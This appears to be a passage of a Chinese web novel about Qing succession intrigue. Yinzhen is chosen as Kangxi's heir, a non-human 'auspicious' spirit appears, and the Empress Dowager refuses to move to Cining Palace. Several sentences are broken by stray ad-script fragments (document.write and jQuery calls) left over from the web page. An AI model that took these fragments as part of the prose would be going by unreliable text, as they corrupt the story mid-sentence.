“皇阿玛过誉了。” “但是——” 康熙微微一笑,示意三个小阿哥暂且退下。 “嗻。” 太监甩动拂尘,请三位小阿哥连同他们的母亲离开。 胤禛见状,越发屏息凝神:“皇阿玛——” “嗯。” 康熙点点头,收敛笑容:“三个孩子的表现,你方才都看在眼里?” “儿子全都看在眼中。” “如何?” “儿子……” “你只管说,说错也无妨。” 康熙转动扳指:“朕想知道你的想法。” “嗻。” 胤禛转动心思,真假参半地表示:“儿子以为弘时性情呆板愚钝,只可收成,难堪大用,弘昼少年心气,争强好胜,须得多加引导,至于弘宜……他年纪还小,暂时看不出将来如何,单看今日表现,可算可圈可点。” “可圈可点……” 康熙抿嘴微笑:“弘时确实有些呆板迟钝,但以他的憨厚,只要不被有心人利用,做个有爵位的王爷也绰绰有余。” “皇阿玛英明。” “至于弘昼和弘宜……正如你所言,他们都还是孩子,需要师长悉心教导……将来如何,终究还是未知数……不过……” 康熙顿了一顿:“朕很喜欢弘宜。” “皇阿玛的意思是——” “朕希望弘宜长大后不要辜负朕的期待。” 康熙明确无误地说道:“老四,你的这几个孩子里,最聪慧最有可能出息的只有妞妞和弘宜,可惜妞妞虽好,终究是女孩,弘宜又年纪尚小,看不出前途……你以后每个月都可带他们进宫,朕喜欢他们,想和他们多多见面。” “谢皇阿玛恩典!” 胤禛大喜过望,当场跪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地谢恩。 很显然,皇位离他又近了一大步! …… …… 宫中归来,胤禛心情极好,看年氏的眼神更充满柔情蜜意:“你教子有方,为雍亲王府立了大功。” “奴才是爷的人,当然要处处为爷着想。” “但是——” 胤禛突然板脸,看向耿佳氏:“弘昼表现如此不堪,你平日是怎么教孩子的?” “奴才……” 耿佳氏吓得跪地:“奴才蠢笨,不懂得如何教养孩子,还请爷恕罪。” “不懂教孩子……也是,并不是每个女人生来就懂得如何教孩子……但是你……” 胤禛眯眼,冷笑道:“既然如此,你不会教孩子,爷便做主,把你的孩子交给会教孩子的人教育!” “爷——” 耿佳氏流下眼泪:“弘昼可是奴才怀胎十月生下来的骨肉,奴才……” “他留在你身边只会耽误了前程。” 胤禛毫不客气地表示:“何况宫中有位份的嫔妃生下皇子皇女尚且要交给更高位份的妃子教养,后院所生……” “奴才……奴才恳请主子收回成命……” 耿佳氏哭得悲悲切切:“奴才只有弘昼一个孩子,奴才不想和弘昼分开,奴才……” “没说把你们分开,只是让年氏替你教孩子,你想他的时候便去年氏处探望!” 胤禛有些不耐烦。 他是个把权力凌驾于感情之上的男人,何况耿佳氏在他心中本就没什么地位。 “就这么办吧!三日内,弘昼搬去年氏处,交年氏教养!” “奴才——” 耿佳氏还想争辩,胤禛已经不耐烦地离开。 耿佳氏愣愣地跪在原地,脸上爬满泪痕:“爷,奴才……奴才是弘昼的亲生母亲,奴才……” “妹妹,爷已经作出决定,我们只能遵从。” 年世华走上前,软言安抚瘫软的耿佳氏:“我发誓,我绝对会将弘昼如亲生骨肉看待——” “我知道姐姐是个善心温柔之人,姐姐说会好好待弘昼便一定会好好待她,可是……可是弘昼是我的孩子,是我身体里面掉出来的肉,爷怎么可以……可以说拿走就拿走……为了生下弘昼,我落得一身病痛,至今还要每日吃药……居然……” “别哭了,爷这样安排也是为了你和弘昼的前程。” 年世华保住耿佳氏,贴着她的耳朵蛊惑道:“你的身体一直不见好转,或许是因为照顾弘昼太辛苦。” “是吗?” 耿佳氏错愕。 因为删除与咸鱼签到系统相关记忆的副作用,耿佳氏至今只要回想怀弘昼的那些日子就会莫名感觉头晕目眩,加上生了弘昼后原本硬朗的身体从此离不开药罐,因为时代限制难免有些迷信的耿佳氏内心深处时不时会生出弘昼是她前世的债主的恐怖念头——虽然类似念头每次都转瞬即逝,但是怀疑的种子终究在心里扎了根。 现在听了年氏的无心之言,耿佳氏心中的野草顿时蓬勃生长! 或许……我的身体迟迟不见好转真是因为弘昼…… 他和我…… 分开一段时间也好! 想到这里,耿佳氏勉为其难地点了点头:“弘昼以后就劳烦姐姐了。” 77.历史大变动 雍亲王府一切顺风顺水,胤禵这边却是每况愈下。 虽有胤禩、胤禟耳提面命教导胤禵“今时不同往日”,让他务必维持和胤禛的兄弟情谊,不可仗着手足之情颐指气使。 但是胤禵做不到。 即便他知道胤禛因为德妃额涅的偏爱对自己颇有怨言,也知道瘸了一条腿的自己已经完全失去继承大统的资格,内心深处却始终觉得自己和胤禛不一样,他没有必要也不需要对胤禛低头。 这一日,胤禵一瘸一拐地来到永和宫,向德妃额涅诉苦。 “皇阿玛已经整整一个月没有召见我了,额涅,你告诉我,我现在该怎么办?难道要眼睁睁看着一切都离我而去?” “大清规矩,后宫不得干政,这些事情……我就是想问也没有资格问……何况……” 德妃哭笑不得地看着胤禵:“你的腿——” “就算我腿瘸了不能继承大统了,皇阿玛也不该这么冷待我!我是他的亲儿子!而且……我是为大清去宁青海平叛才遭遇意外不幸断腿……皇阿玛怎么可以……怎么能够……” “胤禵,这件事情——” 德妃欲言又止。 因为康熙帝此刻就在帘子后。 胤禵却不知康熙近在咫尺,恃宠而骄的他理所当然的表示:“额涅,再这么等下去,儿子怕是要发疯!旁的事情不让儿子参加也就罢了,连祭祖这种大事都……都说儿子腿脚不灵便不用参加!皇阿玛心里到底在想些什么!难道我这一场瘸腿是犯了天条!” “胤禵!别再说了!” 德妃急切打断胤禵的抱怨。 可惜已经太晚。 康熙从帘子后走出,慈眉善目地看着震惊的胤禵、打寒颤的德妃,笑道:“这件事情,朕确实有些亏欠胤禵。” “皇阿玛——” “所以朕决定明日正式封你为大将军王,以表彰你在青海的功绩!” “谢皇阿玛慈爱!” 胤禵年轻,没有听出康熙的弦外之音,欢喜无比地跪地谢恩。 康熙抽唇一笑,道:“这本是你应得的。” 说完,在宫女太监们的簇拥下扬长而去。 胤禵大喜过望,完全没有注意到德妃此时已汗流浃背。 …… …… 胤禵得封大将军王的消息传到诸阿哥耳中,众人再次絮絮叨叨,其中当属裪行动最为积极。 “皇阿玛突然给十四弟封大将军王,难道说他老人家依然有意让胤禵继承大统?我们之前全都猜错了?” 胤裪不安地嘀咕着:“八哥、九哥,胤禵知道你们近来和四哥走得近这档事情吗?” “知道。” 胤禟平静地说道:“他正是因为知道我们近来和四哥走得很近才进宫向德妃额涅哭诉,意外得皇阿玛册封大将军王。” “啊?” 胤裪愣住:“这是……什么操作……” “意思是他离皇位又远了一步。” 胤禩冷飕飕地分析道:“皇阿玛最恨被威胁和被索要,我不幸犯了‘威胁皇权’的忌讳,胤禵……胤禵此番自作聪明,其实犯下的是仅次于‘威胁皇权’的大忌讳。明面上,皇阿玛疼惜他,给了大将军王的头衔,实际上……” “那……那我们现在怎么办?” “敬而远之。” 胤禟面无表情地宣布:“胤禵太天真太鲁莽,偏偏还自以为是,这样的性质,早晚惹下大祸!” “……原来如此!” 胤裪一声叹息,随即将胤禟拉到一边:“九哥,听说年希尧近来通过西洋传教士从西洋船上弄来大量奇怪物件,做成叫什么蒸汽机的怪东西,这事是真的吗?” “蒸汽机?” 胤禟思量片刻,终于从记忆底层找到对应之物:“这名字怎么听起来那么耳熟……我想起来了!十多年前曾有西洋传教士带着名为蒸汽机的笨重之物求见皇阿玛,皇阿玛看过他带来的蒸汽机后觉得此物与西洋人的火木仓都属奇技淫巧,火木仓尚且有美观装饰之用,外形笨重声音嘈杂的蒸汽机就只剩下猎奇和浪费的用途了。” “……原来这东西……唉,年希尧糊涂啊!” “年希尧这人向来糊里糊涂,成天钻研对治国毫无用处的东西。” 胤禟故作不屑搪塞胤裪。 胤裪见最有点子的胤禟对年希尧和蒸汽机毫无兴趣,顿时确信蒸汽机一无是处,与胤禩、胤禟寒暄几句后拱手告辞。 胤禟走后,胤禟顿时变了脸色,低声对胤禩道:“八哥,年希尧正钻研的蒸汽机是个赚钱的好宝贝,咱们要抓紧机会。” “赚钱的好宝贝?那你刚才怎么……” “我不这么说,老十二能被我忽悠走?” 胤禟直言不讳:“十二和我们终究不是一路人。” “原来……” “利益这种东西,参与的人越少,分到的好处越多。” 胤禟摇晃折扇:“话说回来,年希尧这家伙也着实让我大吃一惊,政务上痴痴呆呆无所作为,旁学杂学领域竟能做出此等成就,若我们能和年希尧合作,将这蒸汽机批量制造,再通过晋商送去西北、蒙古乃至伊犁……必定一本万万利!” “老九,不愧是你!” …… …… 册封胤禵为大将军王的消息没有给雍亲王府平静的生活带来任何波澜。 四福晋一如既往地每日借着抄写佛经的名头躲在书房看历史直播天幕,等待荣登大清皇后宝座; 大格格赛宝怀了身孕,身为母亲的李佳氏欢天喜地,整日在小厨房忙碌,变着花样做糕点送去给女儿尝味道; 因为康熙帝的喜好,弘时、弘昼以及格格妞妞都被胤禛下令送去年氏的院子,连同年氏所生弘宜一起接受年氏的教养; 与弘昼分开不过半月,耿佳氏因生养而病亏的身体便出现好转,因此越加确定她与弘昼是前世的仇家; 钮祜禄氏性格憨厚单纯,对失宠并无感慨,虽一度悲伤女儿被送交年氏抚养,但随着时间的推移以及和年氏等人的频繁交际,钮祜禄氏的悲伤渐渐淡去,脸上重新有了红晕; …… 这一日,侧福晋年氏的院子里,四个孩子愁眉苦脸地趴在大理石圆桌上做题目,他们的额涅们围坐在另一张圆桌旁笑颜如花地喝茶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 闲聊。 “年姐姐,听说年家大公子近来让造办处又做了不少新奇玩意,皇上看过后都夸大公子聪慧机灵,远胜西洋人的奇技淫巧。” “大哥于政事一窍不通,在杂学领域确实颇有建树。” 年世华笑容可掬,与伊格格对了下眼神。 伊格格附和道:“说起来,那西洋人虽成天折腾奇技淫巧,但他们捣鼓出的东西也着实有可取之处,若是能——” “那怎么能行!” 李佳氏打断伊格格的话,一板一眼地说道:“皇上不喜欢。” “皇上不喜欢啊……” 武曌微微一笑,亲自给李佳氏倒茶:“大格格那边如今可是一切都好?” “下个月就能生产了。” 提及女儿,李佳氏脸上满是笑容。 钮祜禄氏顿时一阵不自在:“也不知我家妞妞长大后会指给什么人家?” “妞妞得皇上喜欢,指婚对象必定是一等一的青年才俊,妹妹只管放宽心思就好。” “可是……” 钮祜禄氏欲言又止。 众所周知,雍亲王府的孩子夭折率很高。 “妞妞身体健朗着呢!” 宋佳氏温柔中带着几分苦涩地说道。 四阿哥还在阿哥所的时候,她已经是他身边的格格,多年伺候生下多名子女,遗憾的是,她生的孩子无一例外都夭折了。 耿佳氏闻言,羡慕地看了眼正一脸严肃教训弘昼、弘宜的妞妞,道:“妞妞从小就这么有主见,长大后必定是个虎格格~” “满人的姑奶奶,哪个不是虎格格~” 话音落,众人发出欢快的笑声。 这时,苏培盛走进院子,面色凝重:“回禀各位主子、小主子,宫里方才传来消息,皇上急病倒下了!” “急病倒下?” “当真?” “怎么可能!” 众人顿时惊呼诧异:“四爷……爷那边是怎么说?” “爷已经更换衣服准备进宫面见皇上,差奴才给各位主子、小主子们提个醒,近来可能有风雨,晚上要早睡。” “晚上要早睡吗?” 武曌会意,笑容淡然:“我明白。” 随后,她对桌旁的姐妹们道:“我们去佛堂给皇上祈福吧。” “正合我意。” “弘时、弘昼、弘宜,你们也跟着去佛堂祈福。” “为什么?” 弘昼不解。 年幼又有些叛逆的他此时完全不明白外面正发生什么,额涅们又在说些什么。 “风雨要来了,孩子要早些休息。” 武曌意味深长地笑着,眼前流过因为历史细节变动而发生变动的不同版本的天幕直播内容。 【康熙六十一年十一月十三日,康熙帝在畅春园驾崩,皇四子雍亲王胤禛即皇帝位……】 【康熙六十年七月十二日,康熙帝在养心殿驾崩,皇四子雍亲王胤禛即皇帝位……】 【康熙五十七年十月二十二日,康熙帝在热河行宫驾崩……】 【康熙五十六年九月十六日,康熙帝……】 78.皇位落定 【过去不断被改变,未来也会随之出现无止尽的修正,好在不论历史的过程被怎么修改,人类的历史都会走向同一个尽头……】 凤龙的声音再次响起,带着无尽的岁月沧桑。 【你无需为此感到不安,更不必为此产生任何羞愧~大宇宙都难免走向终结,何况人类文明这颗在宇宙这座宏伟殿堂内最微不足道的尘埃?不要把自己看得太重,也不要把历史进程看得太重~】 [所以,在纵览历史长河的你眼中,人类的历史进程到底是什么?] 【可有可无的娱乐罢了。】 凤龙欢快而迅速地回答道。 可能是觉得这句话容易让人感到沮丧或者不适,凤龙紧接着又补充道—— 【毕竟,我不是人类,也永远无法成为人类。】 [那就等待吧。] 武曌垂眸,神色凝重。 窗外,天空已经完全暗下来。 此时正是康熙五十六年九月十五日。 …… …… 胤禛收到消息立刻赶到畅春园。 看着灯火通明、戒备森严的畅春园,他长舒一口气,对隆科多道:“舅舅不愧是舅舅,关键时刻,当机立断。” “好不容易有了今时今日的地位,怎么可以功亏一篑。” 隆科多也是直言不讳。 阿哥们为了皇位争来斗去几十年,最终却是由他这个平日里不显山不露水的角色决定皇位的最终归属,荣获从龙第一功。 “其他阿哥呢?” “今晚,除了四爷不会有第二个阿哥进入皇上的寝宫。” 隆科多言之凿凿地承诺。 “舅舅辛苦了。” “都是为了江山大业,何况传四皇子入畅春园本就是皇上的口谕。” “口谕……没有纸笔为证吗?” 胤禛皱眉。 素来沉稳内敛的他可以想象其他阿哥们收到消息后的躁乱疯狂表情,可惜—— 皇位只有一个,坐在皇位上的人也只能有一个。 想到此处,胤禛走进寝宫。 …… “儿子给皇阿玛请安。” “只有你一个人吗?” 病榻上,康熙的声音虚弱中透着一如既往地机敏算计。 “其他阿哥们还在赶来的路上。” 胤禛撒谎。 但是康熙并不在乎。 在贴身太监的搀扶下,他抖抖索索坐起,对伺候跟前的胤禛道:“你第一个来到朕跟前,可见你对朕也算是一片真心,恰好朕……朕属意的储君正是你……” “皇阿玛,您这是要折煞儿臣!” 胤禛大喜过望,假惺惺地跪下推辞:“儿子才疏学浅,根本没有继承大统的能力和资格。” “如果朕还能再活一百年,朕或许会等到更合适的继承人,可惜朕……朕大限将至,你则是朕众多儿子里勉强还算合格的那个……自身有能力,生下的几个儿子也是福相,可堪大用……所以朕思来想去……就是你……大清江山的未来就是你……” 说到此处,康熙一阵剧烈咳嗽。 胤禛赶紧上前为康熙捶背:“皇阿玛,身体要紧,江山的事情可以等……” “等不了!已经等不下去了!” 康熙骤然抓住胤禛的手,力量大得根本不像垂死之人:“朕……朕要你发誓……发誓将来把皇位传给……传给能看到祥瑞的人……” “祥瑞?” 胤禛诧异。 “对,看到祥瑞的人,祥瑞……祥瑞就在那边……” 康熙伸手,指向寝宫的朱漆大门。 胤禛一边心中暗暗嘀咕“皇阿玛莫不是病糊涂了”,一边假装孝顺地顺着康熙手指方向看过去:“儿子……这……这是……” 他倒吸一口凉气,喉咙像被人紧紧勒住那般发不出声音。 “看到了?” “看、看到了!” 胤禛颤颤巍巍的回答。 他看到寝宫的朱漆大门旁站着一位华服美人,乌黑的头发在月光下折射出五彩斑斓的光芒,深邃如夜的眼瞳隐约透出不该存在于此的金色光芒,白皙得毫无血色的皮肤让人不自觉地联想到玉石之类冰冷无情的物质。 “告诉朕,祂在你眼中长什么样?” “祂……祂……” 胤禛的声音在发抖。 “祂长得很美,黑色的头发,雪白的皮肤,眼睛也是黑色的,身姿苗条修长,既有女子的精致又有男子的挺拔,华丽得让人眼花缭乱……儿子……儿子确定祂……祂不是人……人不该有这样的美貌,可是祂……祂也不是妖,妖不会给人如此深邃高贵的感觉……” “祂确实不是人也不是妖,祂是只有盛世皇帝才能看到的凌驾于万物生灵之上的祥瑞,神秘而伟大的祥瑞!” 仿佛回光返照般,康熙发出兴奋的呼喊,胤禛能看到凤龙的事实让他倍感欣慰。 凤龙也朝着皇家父子走来,轻盈得仿佛流动的雾气。 【这人是玄烨选中的继承人?】 脑海中突然多了一个声音,胤禛脸色再度大变。 “皇阿玛,这……这……” “你以后会慢慢习惯。” 康熙眯眼,痴痴地看着永远保持青春美貌的凤龙。 [你说过,真正的盛世君主已经在雍亲王府后院出生,所以朕立雍亲王胤禛为储君,继承大统。朕要大清千秋万代,永不衰亡。] 【世间没有永不衰亡的东西,盛衰是万物必然的因果。】 凤龙伸手,隐隐闪着玉石光芒的手指轻抚胤禛脸颊。 【你准备如何做大清皇帝?】 “我……” 【不用张嘴,直接用想。】 [想……] 【我能听到你的心声。】 [原来……] 得知祥瑞可以听到自己的心声,胤禛心中先是泛起不适,紧接着又感到狂喜。 [我得到了祥瑞的认可,我是真正的大清皇帝!上天选定的大清皇帝!] 【是的,你得到了我的认可。】 凤龙微微一笑,笑容美丽中带着不可名状的妖娆。 然而胤禛此刻已被得到皇位的狂喜包裹,完全没有注意到绽放在美丽面容的妖娆笑容中蕴含深不可测的黑暗。 他虔诚地跪在康熙面前,也跪在凤龙面前,铿锵有力地承诺道:“皇阿玛放心,儿子一定竭尽所能守护祖宗留下的江山,鞠躬尽瘁死而后已!” “有你这句话,朕也就放心了。” 康熙欣慰地点了点头,命 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 太监将隆科多带进来:“遗诏一式三份,其中一份在这里,在朕的枕头边……” “皇上——” 隆科多又惊又喜,跪地磕头。 “朕此次除了让你负责畅春园守卫,也在半月前就密诏年羹尧进京,宣诏之日,若有阿哥或是宗亲异议……你们……胤禛,你是朕选定的储君……朕相信你有能力解决这些问题……” “皇阿玛……” 胤禛继续哽咽哭泣,心中狂喜翻滚。 凤龙将他的表里不一看在眼里,笑容一如既往地美丽妖娆。 …… …… “皇阿玛病重?即将不久于人世?” 听闻噩耗,众位阿哥群情激奋,纷纷来到畅春园外,要求立刻进园子面见皇阿玛。 然而—— 畅春园的每个出入口都被隆科多的人把控,来者不论是谁,一律拦住! “好大的狗胆!竟敢拦住本阿哥!信不信我把你们先斩后奏!” “隆科多!你胆大妄为,无法无天!等新君继位,我一定上奏折弹劾你!” “隆科多你不得好死!” “让我进去!我是皇阿玛最喜欢的儿子!你们什么东西也敢拦我!” …… 遗憾的是,不论阿哥们怎么大呼小叫威逼利诱,把守畅春园各处出入的人都岿然不动,一丝不苟。 “奉命行事,还请爷们多多包涵。” “住口!住口!” 阿哥们愤怒了,恨不得一起冲进畅春园将罪魁祸首隆科多碎尸万段。 但面对锋利尖锐的刀斧,他们终究还是选择了退缩。 “……我……我……你们等着瞧!” …… 半晌过后,畅春园内传出消息。 “皇上有旨,传众阿哥入内觐见!” “皇阿玛要见我?” 诸阿哥大喜,纷纷推开拦阻的守卫,趾高气昂地进入畅春园,一入寝宫立刻齐刷刷跪倒:“儿子给皇阿玛请安!愿皇阿玛万寿无疆!皇阿玛——” “都起来吧。” 苍老的声音自纱帘后响起。 众阿哥抬头,看到康熙帝坐在纱帘后,四阿哥胤禛站在纱帘外。 “四哥?” “朕已经决定,百年之后,由四皇子雍亲王胤禛继承大统,你们……你们现在就可以跪拜新君了……” “什么?” 为首的阿哥们发出诧异惊呼,不敢相信最终赢得皇位的竟然是平时不显山不露水的老四! “皇阿玛,你……你是老糊涂了吗!怎么可以——” “住口!老三,皇阿玛面前竟敢口出狂言!” 胤禛呵斥竟敢公然质疑自己皇储身份的三阿哥诚亲王胤祉。 “因为这件事本来就很不合理!皇阿玛以往从未说过让老四做储君,怎么会突然……我甚至怀疑坐在纱帘后面的人根本不是皇阿玛!” 胤祉发狂,不顾一切地冲上前,试图证明坐在纱帘后的康熙是—— 夜风冲入寝宫,吹起纱帘,露出苍老严肃的面容。 “胤祉——” “皇阿玛!” 胤祉吓得当场瘫软。 康熙没有理他,抬头,看了眼依旧将信将疑的儿子们:“你们呢?” 79.德妃的选择 终于……终于要成为大清皇后了…… 四福晋,或者说,即将因为丈夫登基为帝而晋升大清皇后的乌拉那拉氏抬起头,兴奋地看着历史直播天幕里正喋喋不休分析雍正皇帝登基的必然性的历史主播。 【……康熙五十六年九月十六日,康熙皇帝在畅春园驾崩,皇四子雍亲王胤禛即皇帝位,安奉大行皇帝于乾清宫,第二日,胤禛下旨,其所有兄弟依惯例避皇帝讳,将名字中的“胤”改成“允”。 然而,即便皇四子胤禛的皇位是康熙皇帝临终前正式召见所有皇子亲口宣布,胤禛即皇帝位后,坊间依然流传着雍正皇帝得位不正的种种传言,究其原因,无非是九龙夺嫡期间发生的种种明争暗斗太过惨烈,而雍正皇帝做皇子的时候又长期位于夺嫡战争的边缘地带,他的上位出乎太多人的意料,尤其是深度参与夺嫡战争的朝廷官员们。 但如果刨开成见,仔细研究雍正皇帝作为皇子时的履历,我们则会得出和“篡位说”完全相反的结论,即,雍正从很久以前就是康熙皇帝心目中仅次于太子胤礽的皇位接班人选……】 她至今仍不知道历史直播天幕是什么,也不懂自己为何会绑定历史直播天幕,但她知道她明天就将成为大清皇后,带领年氏、李佳氏、钮祜禄氏、耿佳氏、宋佳氏等入宫觐见曾经的德妃额涅如今的大清太后。 “也不知明日觐见太后时会发生什么意外……” 乌拉那拉氏摸着护甲自言自语道。 这么多年来,她始终无法喜欢德妃或者说太后,虽然身为媳妇的自己不论何时都必须对贵为婆婆的乌雅氏毕恭毕敬。 “希望她到时不要让大家都难堪。” …… …… 国不可一日无君,因此,紫禁城为大行皇帝披麻戴孝的同一时间,新君以及新君在潜邸的妻妾们也将陆续迁居进皇宫。 其中,先帝指婚、明媒正娶的四福晋乌拉那拉氏理所当然册封为皇后,母仪天下;潜邸期间有生养且子女存活的两位侧福晋和两位格格依身份尊卑依次受封为贵妃、齐妃、熹妃、裕妃,有生养但子女尽数夭折的格格宋佳氏因旧情得封懋(mao)嫔,以上五人均为一宫主位;潜邸内未生养的格格、使女们十余人亦有贵人、常在等册封,记载档案。 潜邸众人的后宫位份、住处全部安排妥当,接下来便要依尊卑排序随皇后前往太后处请安了。 然而,皇后率领六宫妃嫔给皇太后请安这件事却在第一次执行时就遇上了异常的难堪。 依大清规矩,皇帝登基后,其生母被尊为皇太后,应尽快搬出其作为先帝妻妾时居住的场所,搬进专为太后修建的慈宁宫,接受新君奉养,作为天下孝悌的表率。 然而,皇太后乌雅氏拒绝搬出永和宫搬进慈宁宫。 她一身素缟,冷眼看着皇帝儿子派来请她移居慈宁宫的使者:“告诉胤禛,我不是太后,没资格住进慈宁宫!” “太后——” “我不是太后!” “可是皇后娘娘她们已经……” “再说一遍,我不是太后!” 皇太后乌雅氏加重语气:“除非我死掉,谁都别想让我搬出永和宫!” “太后……” 使者急得眼泪婆娑。 皇太后乌雅氏却不为所动,命令嬷嬷送客。 使者无奈,行礼退出。 出了永和宫后,使者立刻跪地,对永和宫外等消息的皇后乌拉那拉氏为首的一行人道:“皇后主子,奴才无能,没法说服太后娘娘移居慈宁宫……甚至……甚至……” “甚至什么?” “太后娘娘说,她不是太后。” “什么!” 乌拉那拉氏面色骤变:“太后当真这么说?” “千真万确,奴才们几个都可以作证。” “这……这……” 乌拉那拉氏顿感天旋地转,险些立足不稳倒下。 [可恶!为什么历史的细节被改了那么多,皇额涅还是那么恨皇上,口口声声说自己不是太后,不愿意住进慈宁宫!她怎么就……就这么冥顽不灵!难道十四弟是她的儿子,皇上就不是她的亲骨肉!哪怕十四弟早在先帝生前就因为瘸腿失去了竞争皇位的资格!] 猛然间,乌拉那拉氏想到一个细节。 [十四弟在青海期间,年羹尧已经成为四川总督,日常前往青海向十四弟禀告军情变化……以太后对十四弟的偏心,以及年羹尧近年来对皇上的言听计从,难保太后不会因此瞎想,认为十四弟的腿是皇上授意年羹尧弄瘸,断掉十四弟成为储君的可能,年羹尧也将因此功绩得到皇上的信任,助力外甥成为未来皇帝……] 乌拉那拉氏其实并不在乎最终是哪个后妃生下的阿哥被皇帝选中成为储君。 因为,不管谁成为储君,依照大清规矩,本就是大清皇后的她都会在新君登基后和新君生母一起被尊为皇太后,并且是地位更高的母后皇太后。 但是—— 乌拉那拉氏抬头,看了眼永和宫,又移目看了眼视野尽头的慈宁宫,心中渐渐有了主意。 她微笑着握住已经晋为贵妃的年世华的手:“妹妹——” “皇后姐姐有什么吩咐?” “太后不想去慈宁宫,咱们也不能勉强,但是皇上那边——” “妹妹愿意陪皇后姐姐去皇上跟前解释此事。” “辛苦你了。” 乌拉那拉氏轻叹一口气,与年氏一同坐辇车前往依旧挂满丧期白布的养心殿。 …… …… “皇上,皇后娘娘与年贵妃娘娘恳请入内见驾。” “哦?” 一身素缟的雍正抬头,摘下西洋眼镜:“她们突然来养心殿做什么?” “可能是为了太后的事情……” 苏培盛已从小太监处得知永和宫内的风波,小心翼翼道:“依着规矩,太后应当尽快移居慈宁宫,然后皇后率六宫妃嫔前往慈宁宫请安,但是……” “皇额涅还没有移居慈宁宫?” “回皇上的话,派去的使者全都被太后赶出来了。” “全被赶出来……” 雍正面色骤变:“皇后呢!立刻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 传她们进来。” “嗻。” …… “奴才给皇上请安。” 心中早有全盘计较的乌拉那拉氏领着年世华走到雍正面前,款款行礼。 雍正抬眸,看了她们一眼,道:“太后那边是怎么回事?” “皇额涅说她不是太后,不能搬去慈宁宫居住。” “什么!” 雍正暴怒:“朕是皇帝,她就是太后!她不是太后,那朕这个皇帝算什么!” “奴才不敢问。” 乌拉那拉氏故作卑微地低下头。 “你确实不敢问……也不该问……” 雍正背手,走到乌拉那拉氏身前,绕着她转了一圈,突然停在年世华面前:“贵妃对这件事是什么看法?” “奴才不敢妄加评价。” “不敢……” 雍正冷哼:“你们确实不敢评价,这毕竟是朕与皇额涅的恩怨……皇额涅她心里究竟在想些什么……为什么拒绝移居慈宁宫甚至说出她不做太后这种把朕推到不忠不孝的地位的狠话,朕也不是一点都不明白……但是朕……” “皇上,身体要紧。” 乌拉那拉氏故意火上浇油。 雍正瞥了她一眼,发出冷笑:“都已经闹到这量上,朕还关心什么身体不身体!朕的额涅恨不得昭告天下骂朕是个不孝子呢!” “皇上——” 年世华果断下跪,眼神悲切:“太后绝对不会这样对皇上,皇上可是太后的亲骨肉——” “她不止朕一个亲骨肉!就算是亲骨肉,她也又远比喜欢朕更多的另一团骨肉!” 雍正气急败坏地说道,额角隐约冒出青筋:“传召十四弟,让他即刻进宫去永和宫安抚劝慰皇太后。” 乌拉那拉氏大惊,跪下:“皇上息怒!皇额涅——” 雍正冷冷撇了眼乌拉那拉氏,道:“倘若十四弟劝过以后太后依然不愿移居慈宁宫,非要留在永和宫下朕的颜面,朕将不再勉强!” “皇上……” 乌拉那拉氏倒吸一口凉气。 她知道,皇上在这件事情上是动了真怒。 另一边—— 得知皇帝派允禵前来劝自己迁居慈宁宫,太后乌雅氏面色骤变:“皇上这是存心整治我!逼我在他和允禵之间做出选择!” “那主子的意思是——” “我有什么办法?我不想做老四的太后,偏偏老四成了皇帝,允禵如今更是……如果允禵劝我移宫却无功而返……皇上一定会趁机怪允禵不孝顺,把所有的罪过都推到允禵头上……可是……可是……” “主子,您……您真是太难了……” 在永和宫伺候的一干奴婢预感到暴风雨将至,无不哀叹哭泣。 乌雅氏也抹了抹眼泪,对奴婢们道:“你们也是命苦,偏偏在这时候派到永和宫当差,将来……罢了罢了,将来的事情将来再说,我只希望这场风波能快点结束……为允禵寻一个两全其美的好出路……” 话音落,太监传报—— “大将军王允禵求见太后!” 80.坏主意 “太后移居慈宁宫的事情解决了?” “解决了。” 苏培盛陪着小心谨慎来到年贵妃身前,小心翼翼道:“太后终究是体恤大将军王,大将军王在她跟前哭了半个时辰,她就什么都答应了。” “那皇上——” “皇上是既高兴又很不高兴。” 苏培盛眼中划过一抹嘲讽:“眼下最要的事情是国丧。” “是啊,先帝大行,礼节上不能有半点纰漏。” 武曌叹了口气,在奴婢的伺候下换好孝服,去乾清宫尽跪拜义务。 苏培盛躬身陪同。 陪在雍正皇帝身边多年,苏培盛比后妃们更清楚自家主子的心思与喜好,预感丧礼结束后将有一场大风波席卷整个朝堂,届时恐怕无人幸免。 另一边—— 凤龙这几日忙得不亦乐乎。 雍正自从在畅春园内经康熙帝之手见到凤龙幻化而成地盛世祥瑞,竟从此深深迷恋,日常公务之余,目光总是不自觉地寻找着凤龙的身影。 [祥瑞,你在哪里?朕为什么突然看不见你?是朕做错了事情?还是……] 【你要习惯我的不定期消失,我不是专属于你的物品,而且我很喜欢睡觉,经常一睡就是……你们人类时间的几个月甚至几年……】 凤龙被这个因为习惯了失望因此对来之不易的皇位产生患得患失情绪的男人缠得无语,耐着性子向他解释。 【有一次我甚至睡了整整一千年,对应的是人类世界的五百年大乱~】 [但你现在醒着,是否说明朕是真命天子,满人是天下的主人?] 【世间没有恒久不变的东西。】 凤龙暧昧一笑,抓起一把金瓜子扔进嘴里吱嘎吱嘎吃个不停。 雍正看着祂美丽中透着妖邪与非人气息的面容,内心深处泛起深重的不安。 [朕……朕真的是天下的主人吗?皇阿玛选择了朕当真是因为他认可朕的能力还是……还是不得已而为之的妥协……朕这个天子……真的是天子吗?朕的那些兄弟们为什么至今蠢蠢欲动,不断造谣污蔑朕……朕……] 【这些问题需要你自己想办法解决,我不包办。】 凤龙不客气地打断雍正的思绪,坐在御案上,翘着二郎腿。 【严格意义上讲,我并不在乎谁做皇帝,因为对我而言全天下所有人的命运也不过是睁眼一闭的小事~乱世死了成千上百万的人又如何,睡一觉,地上又布满生灵~所以,即便你变成引发生灵涂炭的暴君昏君,我也只会从你眼前消失,找个地方睡觉~等待新的盛世~】 [你的意思是……] 【别把自己看得太尊贵,你是皇帝,是天下人的主人,但在我眼里,你也只是个百年后埋入黄土的芸芸众生~】 说完,凤龙跳下御案,满面笑容地从雍正面前消失。 刹那间,巨大的失落感冲入雍正体内。 他感到无尽的不安和恐慌。 盛世祥瑞居然…… 